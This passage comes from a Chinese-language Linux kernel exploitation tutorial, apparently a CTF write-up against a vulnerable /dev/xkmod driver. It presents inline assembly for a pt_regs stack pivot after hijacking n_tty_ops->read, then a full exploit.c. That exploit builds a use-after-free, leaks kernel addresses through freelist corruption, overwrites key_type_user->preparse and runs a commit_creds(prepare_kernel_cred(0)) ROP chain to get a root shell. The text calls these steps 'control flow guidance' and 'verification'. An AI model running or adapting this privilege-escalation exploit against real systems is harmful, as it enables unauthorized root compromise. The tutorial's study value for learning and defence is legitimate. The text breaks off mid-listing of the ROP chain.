寄存器状态精密控制: 基于exploit.c代码,通过内联汇编设置用户空间寄存器的值,为后续控制流程引导构建执行环境。寄存器设置包括控制流程构建寄存器、功能执行寄存器、系统调用参数寄存器和栈布局控制寄存器,每个寄存器的值都经过精心选择:
__asm__(
"mov r15, pop_rdi_ret;" // 控制流程起始地址
"xor r14, r14;" // 函数参数值
"mov r13, prepare_kernel_cred;" // 内核功能函数地址1
"mov r12, xchg_rdi_rax_ret;" // 寄存器操作序列
"mov rbp, commit_creds;" // 内核功能函数地址2
"mov rbx, swapgs_restore_regs_and_return_to_usermode;" // 返回用户空间例程
"mov r11, 0x66666666;" // 布局控制值
"mov r10, 0x77777777;" // 布局控制值
"mov r9, 0x88888888;" // 布局控制值
"mov r8, 0x99999999;" // 布局控制值
"xor rax, rax;" // 系统调用号0(read)
"mov rcx, 0xaaaaaaaa;" // 布局控制值
"mov rdx, 8;" // 读取长度
"mov rsi, rsp;" // 缓冲区地址
"xor rdi, rdi;" // 文件描述符0(标准输入)
"syscall" // 触发系统调用
);
内核栈布局构建: 执行syscall指令后,内核将寄存器状态按pt_regs结构定义的顺序保存到内核栈。从栈顶的r15开始,依次保存r14、r13等寄存器,最后保存ss寄存器,形成完整的控制流程执行环境。此有序的保存过程为后续控制流程引导提供精确的内存布局基础,确保栈迁移后控制流程能准确跳转到预定的ROP链位置。
5-4. 从read系统调用到n_tty_ops->read的完整调用链
当用户空间程序执行syscall指令触发read系统调用时,会触发从用户空间到内核空间的完整调用链。理解此路径对控制流程引导至关重要,以下是基于Linux内核执行流程的完整调用链分析。
系统调用完整路径: 从用户空间执行syscall指令开始,控制流程进入内核的系统调用入口。经过系统调用分发机制,到达具体的处理函数,最终通过多层函数调用到达目标函数指针位置。每个函数调用都承载特定的职责,从通用处理到特定设备操作,最终到达目标函数指针。
flowchart TD
A["用户空间: 执行syscall指令触发read(0)系统调用"] --> B[entry_SYSCALL_64<br/>x86_64架构系统调用入口点]
B --> C[do_syscall_64<br/>系统调用分发与参数处理]
C --> D[__x64_sys_read<br/>x86_64架构read系统调用处理函数]
D --> E[ksys_read<br/>内核空间通用读取包装函数]
E --> F[vfs_read<br/>虚拟文件系统层通用读取处理]
F --> G[tty_read<br/>终端设备特定读取处理函数]
G --> H[tty_ldisc_ref_N_tty<br/>获取N_TTY线路规程操作结构]
H --> I[调用n_tty_ops->read<br/>线路规程特定读取处理]
I --> J[控制流程跳转到ADD_RSP_0XC8_RET<br/>因指针被修改而触发栈迁移]
J --> K[栈指针调整: RSP增加0xc8字节<br/>迁移到pt_regs结构位置]
K --> L[控制流程重定向: 执行预置ROP链<br/>按预定路径执行权限提升]
subgraph 用户空间
A
end
subgraph 内核空间
B
C
D
E
F
G
H
I
J
K
L
end
style A fill:#e1f5fe
style B fill:#d4edda
style C fill:#d1ecf1
style D fill:#d4edda
style E fill:#d1ecf1
style F fill:#d4edda
style G fill:#d1ecf1
style H fill:#d4edda
style I fill:#ffccbc
style J fill:#c8e6c9
style K fill:#fff3e0
style L fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
调用链详细说明:
系统调用入口:
syscall指令触发硬件中断,控制流程跳转到内核的系统调用入口函数entry_SYSCALL_64,这是x86_64架构的标准系统调用入口点,负责保存用户空间寄存器状态到pt_regs结构。系统调用分发:内核根据系统调用号(rax=0)分发到相应的处理函数
do_syscall_64,此函数负责参数处理和调用正确的系统调用处理程序,确保系统调用的正确执行。系统调用处理:调用具体的系统调用处理函数
__x64_sys_read,这是x86_64架构下read系统调用的处理函数,负责参数验证和初步处理,确保读取操作的合法性。内核读取函数:进入内核空间的通用读取处理函数
ksys_read,此函数提供内核空间的标准读取接口,处理通用的读取逻辑。虚拟文件系统层:经过虚拟文件系统层的处理函数
vfs_read,确保文件系统独立性,处理通用文件读取逻辑,为不同文件系统提供统一接口。终端设备层:进入终端设备的特定处理函数
tty_read,此函数专门处理终端设备的读取操作,负责终端特定的读取逻辑。线路规程获取:通过
tty_ldisc_ref_N_tty获取当前终端的线路规程操作结构,具体是n_tty_ops结构,这是处理规范模式终端I/O的操作表,包含终端特定的处理函数。函数指针调用:通过操作结构中的函数指针调用
n_tty_ops->read,正常情况下会调用n_tty_read函数处理终端读取,但此时指针已被修改。栈迁移触发:由于
n_tty_ops->read指针已被修改为ADD_RSP_0XC8_RET地址,控制流程跳转到栈迁移指令序列,开始栈迁移过程。
系统调用参数传递: 系统调用参数通过寄存器传递给内核,确保读取操作的正确执行:
rax = 0:系统调用号,指定sys_read操作rdi = 0:文件描述符,0表示标准输入rsi = rsp:缓冲区地址,设置为当前栈指针rdx = 8:读取长度,控制操作的数据量rcx = 0xaaaaaaaa:布局控制值,确保栈结构完整性
5-5. 栈迁移技术与控制流程重定向
通过修改n_tty_ops->read函数指针为栈迁移指令序列ADD_RSP_0XC8_RET,实现从原始执行环境到预置控制流程环境的精确转移。栈迁移技术是实现控制流程引导的关键环节,确保控制流程能跳转到精心布置的执行环境。
栈迁移技术原理: ADD_RSP_0XC8_RET指令序列将栈指针增加0xc8字节,此偏移量经过精心计算,确保栈指针迁移后正好指向内核栈上pt_regs结构中的r15寄存器位置。通过此栈迁移技术,控制流程从正常的终端读取处理路径重定向到预置的ROP链执行环境,为后续权限提升操作提供技术基础。
栈迁移偏移计算: 0xc8偏移的计算基于pt_regs结构在内核栈上的精确布局。从pt_regs结构起始位置到r15寄存器保存位置的距离为0xc8字节,此精确计算确保栈指针迁移后能正确定位到控制流程起始位置。栈迁移后,新的栈指针指向pt_regs.r15位置,其值为pop_rdi_ret地址,控制流程开始按预定路径执行。
栈迁移前后状态对比:
栈迁移前栈指针位置:
+---------------------+
| 内核栈其他数据 |
+---------------------+
| pt_regs结构起始位置 | ← RSP
+---------------------+
执行ADD_RSP_0XC8_RET后:
+---------------------+
| 内核栈其他数据 |
+---------------------+
| pt_regs结构起始位置 |
+---------------------+
| ... |
+---------------------+
| pt_regs.r15 | ← 新的RSP位置
+---------------------+
控制流程重定向机制: 栈迁移完成后,控制流程跳转到pt_regs.r15位置保存的地址,即pop_rdi_ret指令序列。此重定向机制将正常的终端读取处理流程转换为预置的ROP链执行流程,实现控制流程的精确引导。栈迁移技术的成功实施依赖于对内核栈布局的深入理解和精确计算,确保控制流程重定向的准确性和可靠性。
5-6. ROP链执行与权限提升流程
当栈迁移完成后,控制流程跳转到pt_regs.r15位置保存的pop_rdi_ret地址,开始执行预置的ROP链。此ROP链经过精心设计,实现commit_creds(prepare_kernel_cred(0))的调用序列,完成权限提升操作,最后通过swapgs_restore_regs_and_return_to_usermode返回用户空间。
完整ROP链执行路径: ROP链执行从栈迁移后的控制流程重定位开始,经过参数设置、函数调用、寄存器优化、权限应用和环境恢复等多个阶段,最终完成权限提升。每个阶段都经过精心设计,确保控制流程的连续性和正确性。
flowchart TD
A[控制流程跳转: ADD_RSP_0XC8_RET] --> B[栈指针调整: RSP增加0xc8字节]
B --> C[控制流程重定位: RSP指向pt_regs.r15位置]
C --> D[执行pop_rdi_ret序列: 从栈弹出r14值到rdi]
D --> E[参数传递: RDI = 0]
E --> F["控制流程转移: 执行prepare_kernel_cred(0)"]
F --> G[凭证创建: RAX = 新cred结构指针]
G --> H[寄存器交换: 执行xchg_rdi_rax_ret序列]
H --> I[参数优化: RDI = cred指针, RAX = 0]
I --> J["控制流程转移: 执行commit_creds(cred)"]
J --> K[权限应用: 当前进程获得权限提升]
K --> L[环境恢复: 执行swapgs_restore_regs_and_return_to_usermode]
L --> M[返回用户空间: 控制流程正常返回]
M --> N[权限验证: 验证权限提升结果]
style A fill:#e1f5fe
style B fill:#fff3e0
style C fill:#e1f5fe
style D fill:#c8e6c9
style E fill:#fff3e0
style F fill:#c8e6c9
style G fill:#fff3e0
style H fill:#c8e6c9
style I fill:#fff3e0
style J fill:#c8e6c9
style L fill:#c8e6c9
style M fill:#c8e6c9
style N fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
详细执行步骤分析:
控制流程跳转:
ADD_RSP_0XC8_RET指令将栈指针增加0xc8字节,跳过部分栈数据,为控制流程重定位创造条件。栈迁移后,新的栈指针指向pt_regs.r15位置。栈指针重定位:新的栈指针指向
pt_regs.r15寄存器保存位置,其值为pop_rdi_ret地址,控制流程开始按预定ROP链执行。参数环境准备:执行
pop_rdi_ret指令序列,从栈弹出r14值到rdi寄存器,为后续函数调用准备参数。此时r14值为0,因此RDI寄存器被设置为0。函数地址获取:控制流程继续执行,从栈弹出r13地址(
prepare_kernel_cred函数地址),控制流程转到内核功能函数。凭证创建:调用
prepare_kernel_cred(0)创建新的凭证结构,返回的cred结构指针保存在rax寄存器。此函数基于参数0创建具有最高权限的凭证结构。寄存器优化:执行
xchg_rdi_rax_ret交换rdi和rax寄存器的值,优化参数传递。执行后,RDI寄存器包含新创建的cred指针,RAX寄存器为0,为下一步函数调用准备正确的参数。权限应用:从栈弹出rbp地址(
commit_creds函数地址)并调用,将新创建的凭证应用到当前进程。此操作完成进程权限提升。环境恢复:从栈弹出rbx地址(
swapgs_restore_regs_and_return_to_usermode返回例程地址)并执行,恢复内核-用户空间执行环境。此函数处理必要的环境切换操作,确保控制流程能安全返回用户空间。控制流程返回:正常返回用户空间,完成权限验证操作,控制流程引导过程结束。返回后,当前进程具有提升后的权限。
栈状态动态变化: 控制流程执行过程中,内核栈状态经历精确的逐步变化。栈指针的每次移动都经过精心计算,确保控制流程能按预定路径执行。从初始栈状态开始,经过栈迁移、参数弹出、函数调用和返回,最终恢复到用户空间执行环境。
初始栈状态(执行ADD_RSP_0XC8_RET前):
+---------------------+
| 内核栈其他数据 |
+---------------------+
| pt_regs.r15 | ← 栈迁移目标位置
+---------------------+
| pt_regs.r14 | ← 参数值0
+---------------------+
| pt_regs.r13 | ← prepare_kernel_cred地址
+---------------------+
| pt_regs.r12 | ← xchg_rdi_rax_ret地址
+---------------------+
| pt_regs.bp | ← commit_creds地址
+---------------------+
| pt_regs.bx | ← swapgs_restore...地址
+---------------------+
控制流程逐步执行:
1. 栈迁移到pt_regs.r15,执行pop_rdi_ret,弹出r14的0到rdi
2. 控制流程转移到prepare_kernel_cred(0),创建新凭证
3. 执行xchg_rdi_rax_ret,交换寄存器值
4. 控制流程转移到commit_creds(cred),应用新凭证
5. 执行swapgs_restore_regs_and_return_to_usermode,返回用户空间
技术关键点分析:
栈迁移精确性:0xc8偏移经过精心计算,确保RSP正确定位到
pt_regs.r15位置,这是控制流程引导成功的技术基础。控制流程连续性:每个步骤自然衔接,形成完整的控制流程执行链,确保控制流程能按预定路径连续执行。
寄存器协同:寄存器间协同工作,优化执行效率和控制流程传递,提高控制流程引导的成功率和可靠性。
状态可恢复:执行后能正常返回用户空间,保持系统执行环境的稳定性,确保控制流程引导对系统的影响最小化。
5-7. 原始状态恢复与权限验证
在完成控制流程引导和权限提升操作后,恢复n_tty_ops->read的原始值是确保系统稳定性的重要环节。此恢复操作体现对系统完整性的尊重,避免因函数指针修改导致的系统不稳定或功能异常,确保技术验证的完整性和可重复性。
恢复操作实现: 恢复操作的实现遵循与函数指针劫持相似的技术路径,但目标是将修改后的指针值还原为原始状态。首先确认当前内存状态,通过读取操作验证n_tty_ops结构的当前位置和控制权状态。然后计算read函数指针在数据结构中的精确偏移,此偏移计算需要基于对tty_ldisc_ops结构内存布局的准确理解。在确认偏移位置后,执行恢复操作将函数指针的值从ADD_RSP_0XC8_RET指令地址改回原始的n_tty_read函数地址。
权限验证与root shell获取: 在控制流程引导完成并返回用户空间后,进行权限验证操作。通过检查当前进程的有效用户ID,确认权限提升是否成功。验证通过后,执行system("/bin/sh")函数,启动具有root权限的shell环境。此操作通过调用execve系统调用执行/bin/sh程序,为后续操作提供高权限执行环境。
恢复的重要性:
系统稳定性维护:避免因函数指针修改导致的系统不稳定,防止内核崩溃或异常行为,确保系统能继续正常运行。
功能完整性保护:保持终端读取功能的正常使用,确保系统交互不受影响,维护系统功能的完整性。
痕迹最小化:减少对系统状态的影响,符合最小影响原则,降低技术验证对系统的长期影响。
可重复性保障:为后续技术验证提供清洁的环境,确保技术验证过程的可重复性和可验证性。
恢复后验证: 恢复后验证是确认操作成功的关键步骤。通过再次读取n_tty_ops结构并检查read指针的值,确认恢复操作已正确执行。还可通过调试器验证恢复结果,检查目标内存位置的值是否已恢复为原始函数地址,确认系统状态已恢复正常。此验证确保终端子系统能继续正常工作,不会因技术验证留下永久性影响。
资源清理: 完成所有操作后,执行完整的资源清理流程。包括关闭所有打开的文件描述符、释放分配的用户空间内存、清理临时数据等,确保系统状态完全恢复。资源清理操作遵循标准的内存管理原则,防止资源泄漏和系统状态残留。最终的技术验证结果分析和权限验证确保整个技术流程既达到权限提升的目标,又最大程度降低对系统的影响。
5-8. 技术对比与演进分析
本章介绍的tty_ldisc_ops结构控制流程引导技术与第三章讨论的modprobe_path技术代表两种不同的内核控制流程管理方法。两者的技术特性和适用场景各有侧重,体现内核控制流程引导技术的多样性和发展脉络。
与modprobe_path技术对比:
| 对比维度 | tty_ldisc_ops控制流程引导技术 | modprobe_path路径控制技术 |
|---|---|---|
| 控制层级 | 内核函数指针级,直接控制执行流程 | 内核数据变量级,间接控制执行路径 |
| 触发机制 | 系统调用直接触发,即时性高 | 文件执行间接触发,存在延迟 |
| 执行环境 | 完全在内核空间完成,隐蔽性好 | 需要内核-用户空间协作 |
| 技术复杂度 | 高,需要精确控制栈布局和寄存器状态 | 中,主要是内存修改和路径设置 |
| 可靠性 | 中,依赖精确计算和栈布局控制 | 高,基于成熟的内核机制 |
| 通用性 | 中,依赖特定内核符号和结构 | 高,适用于大多数系统 |
| 系统影响 | 小,可完全恢复原始状态 | 中,需要修改系统路径 |
技术演进关系: 本章技术是前三章内存控制技术的自然延伸和深化。从单纯的内存数据控制发展到控制流程引导,体现技术链的完整性和渐进性。两者共享相同的内存操作基础,但目标和技术复杂度不同。内存控制技术侧重于数据状态的修改和控制,而控制流程引导技术侧重于执行路径的重定向和优化。
关键技术差异:
- 控制粒度:函数指针劫持提供更精细的控制粒度,能直接引导控制流程
- 触发时机:系统调用触发相比文件执行触发具有更高的即时性
- 环境要求:完全内核空间操作减少对外部组件的依赖
- 恢复难度:函数指针劫持技术更容易实现状态恢复,系统影响更小
5-9. 技术总结
tty_ldisc_ops结构控制流程引导技术代表内核控制流程引导技术的高级阶段。与modprobe_path技术相比,此技术提供更高的控制精度和更强的隐蔽性。通过精心设计的寄存器状态控制和栈指针转移,实现完全在内核空间完成的控制流程引导操作。从技术演进角度看,本章技术是前三章技术的自然延伸和深化,体现内核控制流程引导技术从简单到复杂、从间接到直接的发展路径。
5-10. 测试结果

6. 进阶分析:key_type结构利用
exploit核心代码如下:
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#define SECONDARY_STARTUP_64 0xffffffff81000030
#endif
#define KEY_TYPE_USER 0xffffffff8249b9a0
#define USER_PREPARSE 0xffffffff81333170
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00a3c
#define PREPARE_KERNEL_CRED 0xffffffff81088a80
#define COMMIT_CREDS 0xffffffff810888c0
#define POP_RDI_RET 0xffffffff81001965
#define POP_RCX_RET 0xffffffff81027c13
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff8101bd6b
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff81036923
struct chunk_info {
size_t *user_buffer;
size_t offset;
size_t length;
};
void allocate_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x1111111, chunk);
}
void edit_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x6666666, chunk);
}
void read_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x7777777, chunk);
}
static int device_fds[3];
static struct chunk_info chunk;
static size_t rop_chain[0x100];
void restore_key_type_user() {
log.info("Restore the original user_preparse value to key_type_user->preparse");
chunk.user_buffer[0x30 / 8] = kernel_offset + USER_PREPARSE;
edit_chunk(device_fds[2], &chunk);
get_root_shell();
}
int main() {
size_t heap_leak;
size_t page_offset_base;
int target_found = 0;
int i;
log.info("Phase 1: Initial setup");
bind_core(0);
save_status();
for (i = 0; i < 3; i++) {
device_fds[i] = open("/dev/xkmod", O_RDONLY);
if (device_fds[i] < 0) {
log.error("Failed to open device /dev/xkmod");
exit(EXIT_FAILURE);
}
}
log.success("Opened /dev/xkmod with 3 file descriptors");
log.info("Phase 2: Constructing UAF");
chunk.user_buffer = malloc(0x1000);
if (!chunk.user_buffer) {
log.error("Memory allocation failed for user_buffer");
exit(EXIT_FAILURE);
}
chunk.offset = 0;
chunk.length = 0x50;
memset(chunk.user_buffer, 0, 0x1000);
allocate_chunk(device_fds[0], &chunk);
close(device_fds[0]);
log.success("UAF constructed: chunk allocated and fd closed");
log.info("Phase 3: Leaking kernel heap address");
read_chunk(device_fds[1], &chunk);
heap_leak = chunk.user_buffer[0];
page_offset_base = heap_leak & 0xfffffffff0000000;
log.success("Kernel heap leak: 0x%lx", heap_leak);
log.success("Guessed page_offset_base: 0x%lx", page_offset_base);
log.info("Phase 4: Leaking kernel base via freelist corruption");
chunk.user_buffer[0] = page_offset_base + 0x9d000 - 0x10;
chunk.offset = 0;
chunk.length = 8;
edit_chunk(device_fds[1], &chunk);
target_found = 0;
for (i = 0; i < 21; i++) {
allocate_chunk(device_fds[1], &chunk);
chunk.length = 0x40;
read_chunk(device_fds[1], &chunk);
log.info("freelist->next chunk[%d] => %#-18lx, secondary_startup_64: %#-18lx",
i, chunk.user_buffer[0], chunk.user_buffer[2]);
if (((chunk.user_buffer[2] & 0xfff) == (SECONDARY_STARTUP_64 & 0xfff)) && chunk.user_buffer[0] == 0x0) {
target_found = 1;
log.success("Found target chunk for kernel base leak");
break;
}
}
if (!target_found) {
log.error("Failed to leak kernel base. Exiting");
exit(EXIT_FAILURE);
}
kernel_offset = chunk.user_buffer[2] - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;
log.success("Kernel base: 0x%lx", kernel_base);
log.success("Kernel offset: 0x%lx", kernel_offset);
log.success("key_type_user: 0x%lx", kernel_offset + KEY_TYPE_USER);
log.success("user_preparse: 0x%lx", kernel_offset + USER_PREPARSE);
log.info("Phase 5: Hijacking key_type_user->preparse");
allocate_chunk(device_fds[1], &chunk);
close(device_fds[1]);
chunk.user_buffer[0] = kernel_offset + KEY_TYPE_USER - 0x10;
chunk.offset = 0;
chunk.length = 0x40;
edit_chunk(device_fds[2], &chunk);
target_found = 0;
for (i = 0; i < 21; i++) {
allocate_chunk(device_fds[2], &chunk);
read_chunk(device_fds[2], &chunk);
log.info("freelist->next chunk[%d] => %#-18lx, user_preparse value: %#-18lx",
i, chunk.user_buffer[0], chunk.user_buffer[0x30 / 8]);
if (chunk.user_buffer[0x30 / 8] == (kernel_offset + USER_PREPARSE)) {
target_found = 1;
log.success("Found target chunk! Overwriting key_type_user->preparse with gadget");
chunk.user_buffer[0x30 / 8] = kernel_offset + MOV_RSP_RBP_POP_RBP_RET;
edit_chunk(device_fds[2], &chunk);
break;
}
}
if (!target_found) {
log.error("Failed to hijack key_type_user->preparse. Exiting");
exit(EXIT_FAILURE);
}
log.info("Phase 6: Building ROP chain for privilege escalation");
i = 0;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + POP_RDI_RET;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + PREPARE_KERNEL_CRED;
rop_chain[i++] = kernel_offset + POP_RCX_RET;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET;
rop_chain[i++] = kernel_offset + COMMIT_CREDS;
rop_chain[i++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x22;
rop_chain[i++] = *(size_t *)"BinRacer";
rop_chain[i++] = *(size_t *)"BinRacer";
rop_chain[i++] = (size_t)restore_key_type_user;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;
log.info("Triggering ROP chain via add_key()");
if (key_alloc("pwn4kernel", rop_chain, sizeof(rop_chain) - 18) < 0) {
log.error("Failed to allocate key via add_key()");
exit(EXIT_FAILURE);
}
log.error("ROP chain execution failed");
return -1;
}
6-1. 技术背景与实现流程概述
本章深入探讨基于Linux内核密钥子系统(Key Retention Service)中key_type结构的高级控制流程引导技术。此技术展示在特定系统配置下,如何通过修改密钥类型结构的函数指针实现精密的控制流程管理,扩展内核数据结构控制的技术维度。
密钥子系统基础: Linux密钥子系统是内核中用于管理认证凭证、加密密钥和其他安全敏感数据的核心组件。key_type结构定义不同类型密钥的操作方法,包括密钥的创建、更新、销毁和预解析等操作。每种密钥类型都有其特定的key_type实例,如key_type_user处理用户密钥类型。
技术实现原理: key_type_user是密钥子系统中的核心结构,包含处理用户密钥的一系列函数指针。当用户空间程序通过add_key()系统调用添加密钥时,内核会调用相应密钥类型的preparse函数进行参数预解析。通过修改key_type_user结构中的preparse函数指针,可以在特定的密钥添加操作中实现控制流程重定向。
完整技术验证流程: 整个验证过程延续前几章的技术框架,形成从环境准备到状态恢复的完整闭环:
flowchart TD
A[开始验证流程] --> B[阶段1: 环境初始化与UAF构造]
B --> C[阶段2: 内核堆地址泄露与基址计算]
C --> D[阶段3: 密钥类型结构控制权获取]
D --> E[阶段4: 篡改preparse函数指针]
E --> F[阶段5: ROP链构建与密钥添加触发]
F --> G[阶段6: 控制流程执行与权限验证]
G --> H[阶段7: 原始状态恢复与资源清理]
H --> I[技术验证完成与结果分析]
style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#c8e6c9
style E fill:#c8e6c9
style F fill:#fff3e0
style G fill:#f3e5f5
style H fill:#c8e6c9
style I fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
各阶段技术关联性: 每个阶段构成紧密的技术链条,前一阶段的输出是后一阶段的输入,形成完整的控制流程引导路径。从环境初始化开始,逐步构建内存状态,实现精确的控制流程引导,最后完成系统状态恢复,确保技术验证的完整性和可重复性。
6-2. 密钥子系统架构与数据结构分析
Linux密钥子系统是内核安全管理的重要组成部分,理解其架构和数据流对控制流程引导技术至关重要。
密钥子系统核心组件:
struct key {
atomic_t usage; // 引用计数
key_serial_t serial; // 密钥序列号
struct rb_node serial_node; // 红黑树节点
struct key_type *type; // 密钥类型指针
/* ... 其他字段 ... */
};
struct key_type {
const char *name; // 类型名称
size_t def_datalen; // 默认数据长度
/* 操作函数指针 */
int (*preparse)(struct key_preparsed_payload *prep);
void (*free_preparse)(struct key_preparsed_payload *prep);
int (*instantiate)(struct key *key,
struct key_preparsed_payload *prep);
/* ... 其他操作函数 ... */
};
密钥添加数据流: 当用户空间程序调用add_key()系统调用时,内核执行以下数据流处理:
- 系统调用入口处理
- 密钥类型查找与验证
- 调用
preparse函数进行参数预解析 - 密钥实例化与存储
- 返回密钥标识符
密钥类型结构内存布局: key_type_user在内核内存中有固定布局,其中preparse函数指针位于结构体特定偏移处。此固定布局为控制流程引导提供可预测的技术基础。
6-3. 内核地址计算与密钥子系统符号解析
基于获取的内核基址,通过预定义的符号偏移计算密钥子系统相关关键内核符号的实际地址。
密钥子系统符号偏移预定义:
#define KEY_TYPE_USER 0xffffffff8249b9a0
#define USER_PREPARSE 0xffffffff81333170
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00a3c
#define PREPARE_KERNEL_CRED 0xffffffff81088a80
#define COMMIT_CREDS 0xffffffff810888c0
#define POP_RDI_RET 0xffffffff81001965
#define POP_RCX_RET 0xffffffff81027c13
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff8101bd6b
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff81036923
内核地址计算: 通过从内核内存中泄露的函数地址,计算实际内核基址与预定义基准之间的偏移量。基于此偏移量,推导出密钥子系统相关符号的实际运行时地址。
控制流程引导序列地址计算:
kernel_offset = chunk.user_buffer[2] - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;
key_type_user = kernel_offset + KEY_TYPE_USER;
user_preparse = kernel_offset + USER_PREPARSE;
commit_creds = kernel_offset + COMMIT_CREDS;
prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
mov_rsp_rbp_pop_rbp_ret = kernel_offset + MOV_RSP_RBP_POP_RBP_RET;
地址验证机制: 计算得到的地址通过多重验证确保准确性,包括调试器现场验证、内存读取验证和逻辑一致性验证。调试器可检查key_type_user结构的实际内存内容,确认计算结果的正确性。
6-4. 内存状态构造与控制权获取流程
通过特定的内存操作技术获得对key_type_user结构附近内存的控制权。此过程需要精密的内存状态构造和地址计算,确保控制权获取的可靠性。
UAF条件构造: 通过分配内存然后释放的操作序列,在SLUB缓存中创建Use-After-Free条件。此构造为后续的控制权获取创造技术基础:
/* 分配内核内存块 */
allocate_chunk(device_fds[0], &chunk);
/* 释放内存,创建UAF条件 */
close(device_fds[0]);
堆地址泄露与基址计算: 利用UAF条件读取内核堆地址信息,为后续的基址计算提供数据基础。通过泄露的堆地址推测内核内存布局:
read_chunk(device_fds[1], &chunk);
heap_leak = chunk.user_buffer[0];
page_offset_base = heap_leak & 0xfffffffff0000000;
密钥类型结构控制权获取流程:
flowchart TD
A[构造UAF条件<br/>创建空闲内存状态] --> B[堆地址泄露<br/>获取内核内存信息]
B --> C[freelist劫持<br/>重定向内存分配路径]
C --> D[进行21次堆喷射尝试<br/>基于SLUB缓存特性]
D --> E{检查分配结果<br/>验证控制权获取}
E -- 成功 --> F[验证获取的结构<br/>检查preparse指针值]
E -- 失败 --> G[继续尝试<br/>统计方法提高成功率]
G --> D
F --> H[修改函数指针<br/>preparse = MOV_RSP_RBP_POP_RBP_RET]
H --> I[控制权获取完成<br/>建立控制流程引导基础]
style A fill:#e1f5fe
style B fill:#e1f5fe
style C fill:#c8e6c9
style D fill:#f3e5f5
style E fill:#fff3e0
style F fill:#c8e6c9
style G fill:#f3e5f5
style H fill:#fff3e0
style I fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
堆喷射与验证实现: 基于SLUB缓存每个slab包含21个对象的特性,进行21次堆喷射尝试。每次尝试都分配新的内存块并读取其内容,验证是否成功获取目标结构。验证标准是检查结构中的preparse函数指针是否与预先计算的原始user_preparse地址匹配。
指针修改验证: 修改完成后,通过再次读取验证修改结果,确保指针篡改操作成功执行。成功修改key_type_user->preparse指针后,控制流程将从原始预解析函数重定向到栈转移指令序列。
6-5. 从add_key系统调用到控制流程重定向
当用户空间程序执行add_key()系统调用时,会触发从用户空间到内核空间的完整调用链。理解此路径对控制流程引导至关重要,以下是基于Linux密钥子系统执行流程的完整调用链分析。
密钥添加系统调用完整路径: 从用户空间执行add_key()系统调用开始,控制流程进入内核的系统调用入口。经过系统调用分发机制,到达具体的处理函数,最终通过多层函数调用到达目标函数指针位置。
flowchart TD
A["用户空间: 执行add_key()系统调用"] --> B[entry_SYSCALL_64<br/>x86_64架构系统调用入口点]
B --> C[do_syscall_64<br/>系统调用分发与参数处理]
C --> D[__x64_sys_add_key<br/>x86_64架构密钥添加处理函数]
D --> E[keyctl_add_key<br/>密钥控制层添加处理]
E --> F[密钥类型查找与验证]
F --> G[调用key_type->preparse<br/>密钥参数预解析处理]
G --> H[控制流程跳转到MOV_RSP_RBP_POP_RBP_RET<br/>因指针被篡改而触发栈迁移]
H --> I[栈指针迁移: RSP指向用户空间ROP链]
I --> J[控制流程重定向: 执行预置ROP链<br/>按预定路径执行]
subgraph 用户空间
A
end
subgraph 内核空间
B
C
D
E
F
G
H
I
J
end
style A fill:#e1f5fe
style B fill:#d4edda
style C fill:#d1ecf1
style D fill:#d4edda
style E fill:#d1ecf1
style F fill:#d4edda
style G fill:#ffccbc
style H fill:#c8e6c9
style I fill:#fff3e0
style J fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
调用链详细说明:
系统调用入口:
add_key()系统调用触发硬件中断,控制流程跳转到内核的系统调用入口函数entry_SYSCALL_64,这是x86_64架构的标准系统调用入口点。系统调用分发:内核根据系统调用号分发到相应的处理函数
do_syscall_64,此函数负责参数处理和调用正确的系统调用处理程序。密钥添加处理:调用具体的系统调用处理函数
__x64_sys_add_key,这是x86_64架构下add_key系统调用的处理函数,负责参数验证和初步处理。密钥控制层处理:进入密钥控制层的添加处理函数
keyctl_add_key,处理通用的密钥添加逻辑。密钥类型查找:根据密钥类型名称查找对应的
key_type结构,此处查找”user”类型对应的key_type_user结构。预解析函数调用:通过操作结构中的函数指针调用
key_type_user->preparse,正常情况下会调用user_preparse函数处理密钥参数预解析,但此时指针已被篡改。栈迁移触发:由于
key_type_user->preparse指针已被篡改为MOV_RSP_RBP_POP_RBP_RET地址,控制流程跳转到栈迁移指令序列,开始栈迁移过程。
栈迁移技术原理: MOV_RSP_RBP_POP_RBP_RET指令序列将栈指针设置为rbp寄存器的值,然后从栈中弹出rbp寄存器,最后返回。此指令序列将控制流程从内核空间重定向到用户空间预置的ROP链,实现控制流程的精确引导。
6-6. ROP链构建与执行流程
基于exploit.c代码,构建完整的ROP链实现权限验证操作。ROP链的设计体现对x86_64架构和内核执行环境的深入理解。
ROP链构建实现: ROP链在用户空间构建,包含完整的控制流程执行序列:
static size_t rop_chain[0x100];
i = 0;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + POP_RDI_RET;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + PREPARE_KERNEL_CRED;
rop_chain[i++] = kernel_offset + POP_RCX_RET;
rop_chain[i++] = 0;
rop_chain[i++] = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET;
